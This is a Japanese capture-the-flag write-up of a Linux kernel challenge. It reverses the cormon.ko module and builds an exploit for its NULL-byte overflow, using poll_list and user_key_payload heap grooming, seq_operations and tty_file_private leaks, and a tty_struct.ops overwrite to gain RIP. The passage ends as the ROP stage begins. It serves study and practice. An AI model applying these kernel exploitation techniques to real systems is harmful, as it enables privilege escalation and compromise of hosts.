+	SYSCALL_COUNT_FUNC0(sname)

(snpped...)

これはprocfsにsyscallのanalyticsを追加するパッチみたいです。パッチからもわかるように、各CPUに__per_cpu_syscall_countという変数が追加され、syscallの呼び出し回数を記録するようになっています。

module analysis (rev)

続いて、本問題のメインであるカーネルモジュール(cormon.ko)を見ていきます。そして気づく、ソースコードが配布されてない!!!きっとおっちょこちょいでソースを配布し忘れてしまったんでしょう。仕方がないのでGhidraで見ていきましょう。デコンパイルして適当に見やすく整形するとこんな感じ:

decompiled.c
char *initial_filter = "sys_execve,sys_execveat,sys_fork,sys_keyctl,sys_msgget,sys_msgrcv,sys_msgsnd,sys_poll,sys_ptrace,sys_setxattr,sys_unshare";

struct proc_ops cormon_proc_ops = {
  .proc_open = cormon_proc_open,
  .proc_write = cormon_proc_write,
  .proc_read = seq_read,
};

struct seq_operations cormon_seq_ops = {
  .start = cormon_seq_start,
  .stop = cormon_seq_stop,
  .next = cormon_seq_next,
  .show = cormon_seq_show,
};

int init_module(void) {
  printk("6[CoRMon::Init] Initializing module...\n");
  if (proc_create("cormon", 0x1B5, 0, cormon_proc_ops) != 0) {
    return -0xC;
  }
  if (update_filter(initial_filter) != 0) {
    return -0x16;
  }
  
  printk("3[CoRMon::Error] proc_create() call failed!\n");
  return 0;
}

void cormon_proc_open(struct *inode inode, struct file *fp) {
  seq_open(fp, cormon_seq_ops);
  return;
}

ssize_t cormon_proc_write(struct file *fp, const char __user *ubuf, size_t size, loff_t *offset) {
  size_t sz;
  char *heap;
  if (*offset < 0) return 0xffffffffffffffea;
  if (*offset < 0x1000 && size != 0) {
    if (0x1000 < size) sz = 0xFFF;
    heap = kmem_cache_alloc_trace(?, 0xA20, 0x1000);
    printk("6[CoRMon::Debug] Syscalls @ %#llx\n");
    if (heap == NULL) {
      printk("3[CoRMon::Error] kmalloc() call failed!\n");
      return 0xfffffffffffffff4;
    }
    if (copy_from_user(heap, ubuf, sz) != 0) {
      printk("3[CoRMon::Error] copy_from_user() call failed!\n");
      return 0xfffffffffffffff2;
    }
    heap[sz] = NULL;
    if (update_filter(heap)) {
      kfree(heap);
    } else {
      kfree(heap);
      return 0xffffffffffffffea;
    }
  }
  return 0;
}

long update_filter(char *syscall_str) {
  char *syscall;
  int syscall_nr;
  char syscall_list[?] = {0};
  
  while(syscall = strsep(syscall, ",") && syscall != NULL && syscall_str != NULL) {
    if((syscall_nr = get_syscall_nr(syscall)) < 0) {
      printk("3[CoRMon::Error] Invalid syscall: %s!\n", syscall);
      return 0xffffffea;
    }
    syscall_list[syscall_nr] = 1;
  }
  
  memcpy(filter, syscall_list, 0x37 * 8);
}

int cormon_seq_show(struct seq_file *sfp, void *vp) {
  ulong v = *vp;
  if (v == 0) {
    int n = -1;
    seq_putc(sfp, 0xA);
    while((n = cpumask_next(n, &__cpu_online_mask)) < _nr_cpu_ids) { // for_each_cpu macro?
      seq_printf(sfp, "%9s%d", "CPU", n);
    }
    seq_printf(sfp, "\tSyscall (NR)\n\n");
  }
  
  if (filtter[v] != 0) {
    if((name = get_syscall_name(v)) == 0) return 0;
    int n = -1;
    while((n = cpumask_next(n, &__cpu_online_mask)) < _nr_cpu_ids) {
      seq_printf(sfp, "%10sllu", "CPU", __per_cpu_syscall_count[v]); // PER_CPU macro?
    }
    seq_printf(sfp, "\t%s (%lld)\n", name, v);
  }
  if (v == 0x1B9) seq_putc(sfp, 0xA);
  
  return 0;
}

void* cormon_seq_next(struct seq_file *fp, void *v, loff_t *pos_p) {
  loff_t pos = *pos_p;
  *pos_p++;
  if (pos < 0x1BA) return pos_p;
  return 0;
}

void* cormon_seq_stop(struct seq_file *fp, void *v) {
  return NULL;
}

void* cormon_seq_start(struct seq_file *fp, loff_t *pos_p) {
  if (*pos_p < 0x1BA) return pos_p;
  else return 0;
}

まぁ内容は簡単なのでrev自体はそんなに難しくないです。 やっていることとしては、上述のpatchによって導入されたPERCPUな変数__per_cpu_syscall_countを表示するインタフェースを作っています。このカウンタはpatchされたsyscallの先頭において__SYSCALL_COUNT()でインクリメントされます。このインクリメントは、モジュール内のfilterには関係なく全てのsyscallに対して行われます。cormonモジュールは、procに生やしたファイルをreadすることでfilterが有効になっているsyscallの統計結果だけを表示しているようにしており、また書き込みを行うことでfilterの値を更新することができるように成っています。update_filter()を見るとわかるように、更新方法は/proc_rw/cormonにsyscallの名前をカンマ区切りで書き込みます(Dockerの起動時に-v /proc/cormon:/proc_rw/cormon:rwとしてホストのデバイスファイルをゲストにRWでバインドマウントしています)。 実際に使ってみるとこんな感じ:

seccomp

seccomp.json(のちにcorjail.jsonとしてVM内にコピーされる)には、以下のようにdefaultAction: SCMP_ACT_ERRNOでフィルターが設定されています:

seccomp.json
{
	"defaultAction": "SCMP_ACT_ERRNO",
	"defaultErrnoRet": 1,
	"syscalls": [
		{
            "names": [ "_llseek", "_newselect", (snipped...)],
			"action": "SCMP_ACT_ALLOW"
		},
		{
			"names": [ "clone" ],
			"action": "SCMP_ACT_ALLOW",
			"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
		}
	]
}

許可されていないsyscallは、おおよそ以下のとおりです(雑に比較したので多少ずれはあるかも):

disallowed.txt
msgget
msgsnd
msgrcv
msgctl
ptrace
syslog
uselib
personality
ustat
sysfs
vhangup
pivot_root
_sysctl
chroot
acct
settimeofday
mount
umount2
swapon
swapoff
reboot
sethostname
setdomainname
iopl
ioperm
create_module
init_module
delete_module
get_kernel_syms
query_module
quotactl
nfsservctl
getpmsg
putpmsg
afs_syscall
tuxcall
security
lookup_dcookie
clock_settime
vserver
mbind
set_mempolicy
get_mempolicy
mq_open
mq_unlink
mq_timedsend
mq_timedreceive
mq_notify
mq_getsetattr
kexec_load
request_key
migrate_pages
unshare
move_pages
perf_event_open
fanotify_init
name_to_handle_at
open_by_handle_at
setns
process_vm_readv
process_vm_writev
kcmp
finit_module
kexec_file_load
bpf
userfaultfd
pkey_mprotect
pkey_alloc
pkey_free

unshare, mount, msgget, msgsnd, userfaultfd, bpfらへんが禁止されていますね。

ちなみに、Ubuntu22.04環境でpthreadを含めてstatic buildしたバイナリをコンテナ上で動かそうとしたところ、Operation not permittedになりました。Dockerには多分seccompでひっかかったsyscallのレポート機能がないため、手動と勘で問題になっているsyscallを探したところ、clone3 syscallが問題になっているようでした。よって、seccomp.jsonに以下のようなパッチを当てました(writeupを見た感じ、pthreadの使用は意図しているため、pthreadを含む環境の違いっぽい?):

seccomp.patch
--- a/../build/coros/files/docker/seccomp.json
+++ b/./seccomp.json
@@ -10,6 +10,10 @@
                        "names": [ "clone" ],
                        "action": "SCMP_ACT_ALLOW",
                        "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
+               },
+               {
+                       "names": [ "clone3" ],
+                       "action": "SCMP_ACT_ALLOW"
                }
        ]
 }

4. Vuln: NULL-byte overflow

バグはGhidraのデコンパイル結果を見ると明らかです。 common_proc_write()ではユーザから渡されたsyscallの文字列をheap(kmalloc-4k)にコピーしています。その後、heapの最後をNULL終端しようとしていますが、size0x1000の時にNULL-byte overflowするようになっています:

.c
common_proc_write() {
  if (0x1000 < size) sz = 0xFFF;
  if (copy_from_user(heap, ubuf, sz) != 0) {...}
  ...
  heap[sz] = NULL;
  ...
}

使われるスラブキャッシュはkmalloc-4kです。コレとかを見ると、まぁ使えそうな構造体はあるように思えますが、今回はseccompでフィルターされているため1K以上のキャッシュで使える構造体はこのリストには見当たりません。最近のkernelpwn追ってないしここでお手上げに成ったので、writeupをカンニングしました、チート最高!

5. pre-requisites

sys_poll

sys_poll()が使えるらしい。ソースはこんな感じ(余計なところは省略している):

fs/select/select.c
#define FRONTEND_STACK_ALLOC	256
#define POLL_STACK_ALLOC	FRONTEND_STACK_ALLOC
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / \
			sizeof(struct pollfd))
#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))            
struct pollfd {
	int fd;
	short events;
	short revents;
}; /* size: 8, cachelines: 1, members: 3 */
struct poll_list {
	struct poll_list *next;
	int len;
	struct pollfd entries[];
}; /* size: 16, cachelines: 1, members: 3 */

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
		struct timespec64 *end_time)
{
	struct poll_wqueues table;
	long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
	struct poll_list *const head = (struct poll_list *)stack_pps;
 	struct poll_list *walk = head;

	len = min_t(unsigned int, nfds, N_STACK_PPS);
	for (;;) {
		walk->next = NULL;
		walk->len = len;
		if (!len)
			break;

		if (copy_from_user(walk->entries, ufds + nfds-todo,
					sizeof(struct pollfd) * walk->len))
			goto out_fds;

		todo -= walk->len;
		if (!todo)
			break;

		len = min(todo, POLLFD_PER_PAGE);
		walk = walk->next = kmalloc(struct_size(walk, entries, len),
					    GFP_KERNEL);
		if (!walk) {
			err = -ENOMEM;
			goto out_fds;
		}
	}

	fdcount = do_poll(head, &table, end_time);

	err = fdcount;
out_fds:
	walk = head->next;
	while (walk) {
		struct poll_list *pos = walk;
		walk = walk->next;
		kfree(pos);
	}

	return err;
}

まずユーザランドから渡されたpollfdリストをスタック上のstack_ppsに最大256byte分コピーします。厳密には、next, lenメンバ分の16byteを除いた240byte分(つまりstruct pollfdの30個分)をスタック上にコピーします。もしそれ以上のufdsが渡された場合には、次は最大でPOLLFD_PER_PAGE ((4096-16)/8 == 510)個数分だけkmalloc()してコピーします。つまり、使われるスラブキャッシュはkmalloc-32 ~ kmalloc-4kのどれか(next, lenの分があるためkmalloc-16以下には入らない)です。こうして、256byteのstackと、32~4Kのheapにstruct poll_listpollfdをコピーしたあと、それらをnextポインタで繋いでリストを作っています。freeは、リストの先頭から順にkfreeで単純に解放してます。 なるほど、たしかにこの構造体はkmalloc-32~4kの任意のサイズのキャッシュへのポインタを持つことができて、且つfreeはタイマーでも任意のタイミングでもできるため便利そう。 前述のNULL-byte overflowを使ってstruct pollfdnextをpartial overwriteすることで、そのスラブに入っているオブジェクトをUAF(read)できそうです。問題は、msgXXX系のsyscallがフィルターされている状況で、どの構造体を使ってreadするか。

add_key / keyctl syscall

まぁ勿論カンニングしたんですが。add_keyというシステムコールがあるらしい。知らんがな。そういえば、seccompのフィルターを見るとデフォルトの設定では許可されていないのにこの問題では許可されています。ソースはこんな感じ:

fs/select.c
// security/keys/user_defined.c
struct key_type key_type_user = {
	.name			= "user",
	.preparse		= user_preparse,
	.free_preparse		= user_free_preparse,
	.instantiate		= generic_key_instantiate,
	.update			= user_update,
	.revoke			= user_revoke,
	.destroy		= user_destroy,
	.describe		= user_describe,
	.read			= user_read,
};
int user_preparse(struct key_preparsed_payload *prep)
{
  struct user_key_payload *upayload;
  size_t datalen = prep->datalen;

  if (datalen <= 0 || datalen > 32767 || !prep->data)
      return -EINVAL;

  upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
  ...
}

// security/keys/keyctl.c
SYSCALL_DEFINE5(add_key, const char __user *, _type,
		const char __user *, _description, const void __user *, _payload,
		size_t, plen, key_serial_t, ringid)
{
  key_ref_t keyring_ref, key_ref;
  char type[32], *description;
  void *payload;
  long ret;

  /* draw all the data into kernel space */
  ret = key_get_type_from_user(type, _type, sizeof(type));
  description = NULL;
  if (_description) {...}

  /* pull the payload in if one was supplied */
  payload = NULL;

  if (plen) {
      ...
      if (copy_from_user(payload, _payload, plen) != 0)
          goto error3;
  }

  keyring_ref = lookup_user_key(ringid, KEY_LOOKUP_CREATE, KEY_NEED_WRITE);
  key_ref = key_create_or_update(keyring_ref, type, description,
                     payload, plen, KEY_PERM_UNDEF, KEY_ALLOC_IN_QUOTA);
  ...
}

// security/keys/key.c
key_ref_t key_create_or_update(key_ref_t keyring_ref,
			       const char *type,
			       const char *description,
			       const void *payload,
			       size_t plen,
			       key_perm_t perm,
			       unsigned long flags)
{
  struct keyring_index_key index_key = {
      .description	= description,
  };
  struct key_preparsed_payload prep;                       
    
  index_key.type = key_type_lookup(type);
  memset(&prep, 0, sizeof(prep));
  ...
  if (index_key.type->preparse) {
      ret = index_key.type->preparse(&prep);
      ...
  }
  ...
  ret = __key_instantiate_and_link(key, &prep, keyring, NULL, &edit);
  ...
}

はい。manpageによると、keyring, user, logon, bigkeyという4種類の鍵があります。そしてそのそれぞれについてfopsみたいなstruct key_type構造体が結びついています。このハンドラの中の、ユーザ入力ペイロードをパースする関数である.preparseは、userタイプの場合user_preparse()関数に成っています。user_preparse()は、user_key_payload構造体をkmallocします。この構造体はこれまた可変サイズを持ち、最大sizeof(struct user_key_payload) + 32767までの任意のサイズをユーザ指定で確保することができます。解放も、ユーザが任意のタイミングで行うことができます(keyctl_revoke)。読むことも、できます。素晴らしい構造体ですね、全くどうやってこんなもんを見つけてくるのやら。おまけに、特筆すべきこととして最初のメンバであるrcuは初期化されるまではもとの値が保たれるみたいです。ふぅ。

6. kbase leak via user_key_payload and seq_operations

さて、これらの材料を使うとkernbaseがリークできそうです。細かい事は無視して大枠だけ考えます。 事前準備として、add_keyを呼び出してstruct user_key_payloadkmalloc-32に置いておきます。続いて、pollを542個(stackに置かれる30個 + kmalloc-4kに置かれる510個 + kmalloc-32に置かれる2個)のfdに対して呼び出します。そうすると、stack --> kmalloc-4k --> kmalloc-32の順にstruct poll_listのリストが繋がれます。続いて、モジュールのプロックファイルに書き込むことでcormon_proc_write()を呼び出してNULL-byte overflowさせます。このときバッファはkmalloc-4kにとられるため、うまく行くと先程のpoll_list.nextポインタの最後1byteがpartial overwriteされます。そして、そのアドレスがうまい具合だと、書き換えたあとのポインタが一番最初に準備したuser_key_payloadを指すことになります。続いてpoll_listをfreeさせる(これはtimer expireでも、イベントを発生させるのでもどちらでもOK)ことで、リストにつながっているuser_key_payloadをfreeします。これでuser_key_payloadのUAF完成です。kbaseを読むためにseq_operationsらへんを確保して、user_key_payloadの上に配置します。あとはkeyctl_readペイロードを読むことで、kbaseをleakできます。 というようにシナリオだけ文面で考えると簡単そうですが、「うまくいくと」と書いたところをうまくさせないといけませんね。まぁスプレーでなんとかなるでしょう。 さて、順を追ってやっていきましょう。まずはadd_key()でkmalloc-32に鍵を置きます。なお、add_key syscallに対するglibc wrapperはないため、libkeyutils-dev等のパッケージをインストールしたあと、-lkeyutilsを指定してビルドする必要があります。 雑にkeyをスプレーします:

spray_keys.c
void spray_keys() {
  char *desc = calloc(0x100, 1);
  if (desc <= 0) errExit("spray_keys malloc");
  strcpy(desc, DESC_KEY_TOBE_OVERWRITTEN_SEQOPS);

  for (int ix = 0; ix != NUM_KEY_SPRAY; ++ix) {
    memcpy(desc + strlen(DESC_KEY_TOBE_OVERWRITTEN_SEQOPS), &ix, 4);
    char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
    memset(key_payload, 'A', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
    key_serial_t keyid0 = add_key("user", desc, key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, KEY_SPEC_PROCESS_KEYRING);
    if (keyid0 < 0) errExit("add_key 0");
  }
}

すると、以下のようにヒープの中にそれらしい箇所が見つかります(pt -ss AAAAAAAA -align 8 )。きっとコレがkmalloc-32でしょう。needleとして仕込んだAAAAAAAAというペイロードと、その直前がshortの0x08(ushort datalen)であることからもわかります:

ところで、user_key_payloadが連続していないことが見て取れますね。きっと、CONFIG_SLAB_FREELIST_RANDOMIZEらへんが有効化されているのでしょう。 続いて、poll_listkmalloc-4kkmalloc-32にスプレーしていきます。

alloc_poll_list.c
  assign_to_core(0);
  for (int ix = 0; ix != NUM_POLLLIST_ALLOC; ++ix) {
    if(pthread_create(&threads[ix], NULL, alloc_poll_list, &just_fd) != 0) errExit("pthread_create");
  }

今回はpollするイベントはPOLLERR(=0x0008)で、使ったfd0x00000004なので、バイト列0x0000000400080000をニードルとして検索できます(pt -sb 08000000040000000800000004000000 -align 16。まぁ、pt -sb fe01000004000000 -align 8のほうが良さそう)。ところで、struct poll_listにおいて、struct pollfd[]って8byteアラインされないんですね。おかげでpoll_listがどこにも見つからない…!と発狂する羽目になりました。あ、ところでこのptコマンドはgdb-pt-dumpのことです。

さぁさぁ、とりあえずは各構造体が意図したサイズのキャッシュに入っていることが分かりました。 この状態で、一旦NULL-byte overflowさせてみます:

overflow.c
void nullbyte_overflow(void) {
  assert(cormon_fd >= 2);
  memset(cormon_buf, 'B', 0x1000 + 0x20);
  strcpy((char*)cormon_buf + 1, "THIS_IS_CORMON_BUFFER");
  *cormon_buf = 0x00;

  if(write(cormon_fd, cormon_buf, 0x1000) != -1) errExit("nullbyte_overflow");
  errno = 0;
}

うーん、確かに次のページ上のスラブオブジェクトがNULL-byte overflowされている感じはしますが、このオブジェクトは明らかにstruct poll_listではありません(.lenメンバが不正)。色々と試してみた結果、struct poll_listを確保する回数を0x10 -> 0x10-2回にしたらいい感じになりました。スプレーでは大事、こういう小さい調整:

確かにcormon_proc_write()で確保されたバッファとstruct poll_listが隣接し、poll_list.nextの先頭1byteがNULL-byte overflowされていることがわかりますね。因みに、writeupによるとsched_setaffinity()を使ってどのコアを使うかをコントロールしたほうがいいらしいです。確かにスラブキャッシュはPERCPUだから、そっちのほうが良さそう。頭いいね! さぁ、ここで重要なことは、overwriteされたnextポインタが指す先(0xffff888007617500)が最初に確保したuser_key_payloadになっているかどうか。且つ、最初のメンバであるuser_key_payload.rcuがNULLであるかどうかですが…:

完璧ですね。これであとは数秒待ってpollタイムアウトさせることで、poll_listが先頭から順にfreeされていきます。user_key_payloadもfreeされてしまいます。よって、こいつの上に新しく何らかの構造体を置いてあげましょう。kmalloc-32に入っていて、且つkptrを含んでいるものなら何でもいいです。今回はseq_operationsを使ってみます:

seq_operations.c
  // Check all keys to leak kbase via `seq_operations`
  char keybuf[0x100] = {0};
  ulong leaked = 0;
  for (int ix = 0; ix != NUM_KEY_SPRAY; ++ix) {
    memset(keybuf, 0, 0x100);
    if(keyctl_read(keys[ix], keybuf, 0x100) < 0) errExit("keyctl_read");
    if (strncmp(keybuf, "AAAA", 4) != 0) {
      leaked = *(ulong*)keybuf;
    }
  }
  if (leaked == 0) {
    puts("[-] Failed to leak kbase");
    exit(1);
  }
  printf("[!] leaked: 0x%lx\n", leaked);

う〜〜〜ん、panicしているので確実に悪いことはできているのですが上手くleakはできていません。gdbで見てみましょう:

前半がoverflowされたpoll_lsit、後半がpoll_list.nextに指されたためにfreeされてuser_key_payloadからseq_operationsになったもの。う〜ん、一見すると良さそうですけどね。とりあえず一番最初にもっとkmalloc-32を飽和させておいたほうがいいんじゃないかと思い、user_key_payloadをもっとスプレーしようとしたところ、以下のエラーになりました:

詳しくは見ていないけど、鍵はあんまり多くは確保できなさそうなので代わりにseq_operationsでもっとスプレーしておくようにしました。それから、pthread_join()する度にすぐさまseq_operationsを確保するようにしました。しかしながら、やっぱりkeyctl_read()でleakできない!!

しばらく悩んだあとkeyctl_readのmanpageを呼んでみると以下の記述が:

keyctl_read.man
RETURN VALUE
       On  success  keyctl_read()  returns  the amount of data placed into the buffer.  If the buffer was too small, then the size of
       buffer required will be returned, and the contents of the buffer may have been overwritten in some undefined way.

あ、バッファサイズが小さい場合には、undefinedな動作が起こるらしい…。ということで、keyctl_read()に渡すバッファサイズを十分大きく(>=0x4330)してもう一度やってみると:

よさそう!

7. leak kheap via tty_struct / tty_file_private

kbase leakができました。さて、どうしよう。一瞬このままuser_key_payloadであり且つseq_operationsでもあるオブジェクトをuser_key_payloadとしてkfreeし、setxattrを使ってseq_operations内のポインタを書き換えてやればRIPが取れるじゃんと思いましたが、KPTIがある都合上stack pivotする必要があり、heapのアドレスが必要であることに気が付きました。 とりあえずはheapのアドレスが欲しい。幸いにも、kbaseのleakに使ったuser_key_payloadだったオブジェクトは、上に乗っているseq_operationsを解放して他のオブジェクトにしてやることで再度leakをすることができます。というわけで、tty_structを使いましょう。/dev/ptmxを開くと以下のパスに到達します:

drivers/tty/pty.c
struct tty_file_private {
    struct tty_struct *tty;
    struct file *file;
    struct list_head list;
};

static int ptmx_open(struct inode *inode, struct file *filp)
{
    struct tty_struct *tty;
    int retval;
    ...
    retval = tty_alloc_file(filp);
    ...
    tty = tty_init_dev(ptm_driver, index);
    ...
    tty_add_file(tty, filp);
    ...
}

int tty_alloc_file(struct file *file)
{
    struct tty_file_private *priv;

    priv = kmalloc(sizeof(*priv), GFP_KERNEL);
    file->private_data = priv;
    return 0;
}
void tty_add_file(struct tty_struct *tty, struct file *file)
{
    struct tty_file_private *priv = file->private_data;

    priv->tty = tty;
    priv->file = file;
    ...
}

ここで、tty_alloc_file()/dev/ptmxstruct fileprivate_dataメンバに対してstruct tty_file_privateを確保して入れます。これはkmalloc-32から確保されます。その後、tty_init_dev()struct tty_structkmalloc-1024から確保します。そして、tty_add_file()struct tty_file_private内にstruct tty_structのアドレスを格納します。つまり、kmalloc-32内のtty_file_privateをleakすることでkmalloc-1024のアドレスをleakすることができます。

leak_heap.c
  // Free all keys except UAFed key
  for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {
    if (keys[ix] != uafed_key) {
      if (keyctl_revoke(keys[ix]) != 0) errExit("keyctl_revoke");
      if (keyctl_unlink(keys[ix], KEY_SPEC_PROCESS_KEYRING) != 0) errExit("keyctl_unlink");
    }
  }

  // Place `tty_file_private` on UAFed `user_key_payload` in kmalloc-32
  for (int ix = 0; ix != NUM_TTY_SPRAY; ++ix) {
    if (open("/dev/ptmx", O_RDWR) <= 2) errExit("open tty");
  }

  // Read `tty_file_private.tty` which points to `tty_struct` in kmalloc-1024
  memset(keybuf, 0, 0x5000);
  if(keyctl_read(uafed_key, keybuf, 0x5000) <= 0) errExit("keyctl_read");
  ulong km1024_leaked = 0;
  ulong *tmp = (ulong*)keybuf + 1;
  for (int ix = 0; ix != 0x4330/8 - 2 - 1; ++ix) {
    if ((tmp[ix] >> (64-4*4)) == 0xFFFF && tmp[ix+2] == tmp[ix+3] && tmp[ix+2] != 0 && (tmp[ix] & 0xFF) == 0x00) { // list_head's next and prev are same
      km1024_leaked = tmp[ix];
      printf("[!] \t+0: 0x%lx (tty)\n", tmp[ix]);
      printf("[!] \t+1: 0x%lx (*file)\n", tmp[ix + 1]);
      printf("[!] \t+2: 0x%lx (list_head.next)\n", tmp[ix + 2]);
      printf("[!] \t+3: 0x%lx (list_head.prev)\n", tmp[ix + 3]);
      break;
    }
  }
  if (km1024_leaked == 0) errExit("Failed to leak kmalloc-1024");
  printf("[!] leaked kmalloc-1024: 0x%lx\n", km1024_leaked);

良さそう!と思いきや、実際に表示されたttyのアドレスを見てみると、先頭がマジックナンバー(0x5401)ではなかったため違うポインタでした。何度試してみても、ttyと思わしきものは50回に1回程度しかleakできない…。うーん、何が悪いのか。UAFされたuser_key_payload以外のkeyをfreeして代わりにtty_file_privateを置いたあとのuser_key_payloadが以下の感じ:

先頭32byteがuser_key_payloadで、上にはkbaseのleakに使ったseq_operationsが乗っかっています。leakできるのはuser_key_payloadよりも下の0x4330byte程度(これは、seq_operationsをUAFで乗せた際に、user_key_payload.datalensingle_nextのアドレスの下2byteである4330で上書きされるため)であるため見てみると、seq_operationsの名残がいくつか見えますね。0xa748dc1b1f063d98は、おそらくフリーなスラブオブジェクト内のリストポインタが暗号化(CONFIG_SLAB_FREELIST_HARDENED)されているやつでしょう。このことから考えられることとしては、keyのスプレーが少なくてキャッシュ内がkeyで満たされる前に同じ領域にseq_operationsが入ってきてしまったことが考えられます。よって、スプレーするkeyを増やしてみたところ以下の感じ:

偶然のような気もしますが、ランダムなQWORD(つまり、暗号化されたスラブのポインタ)と0x41414141(keyのペイロードとして入れた値)が同一オブジェクト内に入っているため、keyとして割り当てられていたオブジェクトがフリーされていることが分かります。しかし、フリーされたままということはtty_file_privateをスプレーする数が少なかったということでしょうか。少し増やしてみましたが、やはりできません。悲しい。 ここで自分のコードを見てみると…:

c
#define NUM_KEY_SPRAY 80 + 10
#define NUM_POLLFD 30 + 510 + 1 // stack, kmalloc-4k, kmalloc-32
#define NUM_POLLLIST_ALLOC 0x10 - 0x1

key_serial_t keys[NUM_KEY_SPRAY * 5] = {0};
for (int ix = 0; ix != NUM_KEY_SPRAY * 2; ++ix) {...}
for (int ix = 0; ix != NUM_KEY_SPRAY * 9; ++ix) {...}

馬鹿!!大馬鹿!おまわりさん、馬鹿はこいつです!捕まえちゃってください! マクロなんて所詮文字列置換なので、NUM_KEY_SPRAY * 280 + 10 * 2と評価されてしまいます!どうりで思った動きしないわけだよ! というわけで、上のバグを直して十分なtty_file_privateを確保してみた上で、一旦kbaseをリークした直後(keyは全て解放前。UAFされたkeyの上にはseq_operationsが乗っている)のヒープを見てみるとこんな感じ:

一番上がUAFされたkeyで、その直後にはたくさんのkeyが存在していることが分かります(paylod=AAAAA)。理想的な状況ですね。これでも上手くいかないのはなぜ…。ここでkey周りのソースを見返してみます:

security/keys/keyring.c
/*
 * Clean up a keyring when it is destroyed.  Unpublish its name if it had one
 * and dispose of its data.
 *
 * The garbage collector detects the final key_put(), removes the keyring from
 * the serial number tree and then does RCU synchronisation before coming here,
 * so we shouldn't need to worry about code poking around here with the RCU
 * readlock held by this time.
 */
static void keyring_destroy(struct key *keyring) {...}

あ、unlink後にGC(security/keys/gc.c)がfreeするのか…! ということは、tty_file_privateをスプレーする前に1秒ほどsleepしてGCを待ってやるといいのではと思いやってみると:

よさそう〜〜〜!

8. get RIP by overwriting tty_struct.ops

さて、続いてRIPをとりましょう。や、取らなくても年は越せるんですが。 現状ですが、kmalloc-32にUAFされたuser_key_payload(+上に乗っかっているtty_file_private)があります。このUAFを再利用して、今度はUAF writeをしましょう。具体的には、poll_listkmalloc-1024 -> kmalloc-32のリストになっている時、kmalloc-32をUAFで上書きし、poll_list.nextポインタにtty_struct(kmalloc-1024)のアドレスを書き込んでやります。その状態でpoll_listをfreeすることで関係ないtty_structをfreeしてやることができます。tty_structをUAFできたら、あとはopsを書き換えてやればいいはず…多分…! というわけで、それらをしてくれるコードがこれです(3分クッキング感):

.c
  // Free `seq_operations`, one of which is `user_key_payload`
  for (int ix = NUM_SEQOPERATIONS - NUM_FREE_SEQOPERATIONS; ix != NUM_SEQOPERATIONS; ++ix) {
    close(seqops_fd[ix]);
  }
  puts("[+] Freeed seq_operations");
  
  // Spray `poll_list` in kmalloc-32, one of which is placed on `user_key_payload`
  assign_to_core(2);
  neverend = 1;
  puts("[+] spraying `poll_list` in kmalloc-32...");
  num_threads = 0;
  for (int ix = 0; ix != NUM_2ND_POLLLIST_ALLOC; ++ix) {
    struct alloc_poll_list_t *arg = malloc(sizeof(struct alloc_poll_list_t));
    arg->fd = just_fd; arg->id = ix;
    arg->timeout_ms = 3000; // must 1000 < timeout_ms, to wait key GC
    arg->num_size = 30 + 2;
    if(pthread_create(&threads[ix], NULL, alloc_poll_list, arg) != 0) errExit("pthread_create");
  }

  // Revoke UAFed key, which is on `poll_list` in kmalloc-32
  puts("[+] Freeing UAFed key...");
  free_key(uafed_key);
  sleep(1);

  // Spray keys on UAFed `poll_list`
  puts("[+] spraying keys in kmalloc-32");
  assert(num_keys == 0);
  {
    char *key_payload = malloc(SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
    memset(key_payload, 'X', SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS);
     _alloc_key_prefill_ulong_val = 0xDEADBEEF;

    for (int ix = 0; ix != NUM_2ND_KEY_SPRAY; ++ix) {
      alloc_key(key_payload, SIZE_KEY_TOBE_OVERWRITTEN_SEQOPS, _alloc_key_prefill_ulong);
    }
  }

user_key_payloadを確保する前に予めsetxattr()0xDEADBEEFを書き込んでいます。これによって、user_key_payload.rcuがこの値になり、且つpoll_list.nextがこの値になるはず。実行してみると…:

??? Kernel memory overwrite attempt detected to SLUB object 'filp'らしいです。ソースを読んでみると、これはCONFIG_HARDENED_USERCOPYが有効な場合に表示される文面みたいですね。

mm/usercopy.c
void __noreturn usercopy_abort(const char *name, const char *detail,
			       bool to_user, unsigned long offset,
			       unsigned long len)
{
    pr_emerg("Kernel memory %s attempt detected %s %s%s%s%s (offset %lu, size %lu)!\n",
       to_user ? "exposure" : "overwrite",
       to_user ? "from" : "to",
       name ? : "unknown?!",
       detail ? " '" : "", detail ? : "", detail ? "'" : "",
       offset, len);
    BUG();
}
void __check_heap_object(const void *ptr, unsigned long n, struct page *page, bool to_user)
{
    ...
    usercopy_abort("SLUB object", s->name, to_user, offset, n);
}

何回かやってみると、keyのスプレーの際にfilpとかworker_poolとかいうkmalloc-256サイズのキャッシュへのoverwriteが検知されて落ちているみたいです。おそらくですが、poll_listをスプレーするスレッドを立ち上げてからすぐにuser_key_payloadをfreeさせるようにしていたため、UAFしているオブジェクトにpoll_listが確保される前にuser_key_payloadがfreeされてしまい、seq_operationsのfreeと相まってdouble freeになってヒープが崩壊してしまったせいなんじゃないかと思います。そこで、スレッドを立ち上げた後に少しだけsleepしてみると、とりあえずこのエラーは出なくなりました。必要なguessingは、必要です。

dead beef、良さそう!続いて、deadbeefをちゃんと先程leakしたtty_structのアドレスにしてUAFし、その後で0x1000サイズのuser_key_payloadをスプレーすることで全て0x5401(tty_structのmagic number)で埋めてみると:

うんうん、良さそう。tty_struct.opsも一緒に0x5401に書き換えたので、ちゃんと落ちてくれてますね!RIPが取れました。

9. get root by kROP on tty_struct itself

TTYへのioctl()によって、ジャンプ直後のレジスタの値は以下のようになります:

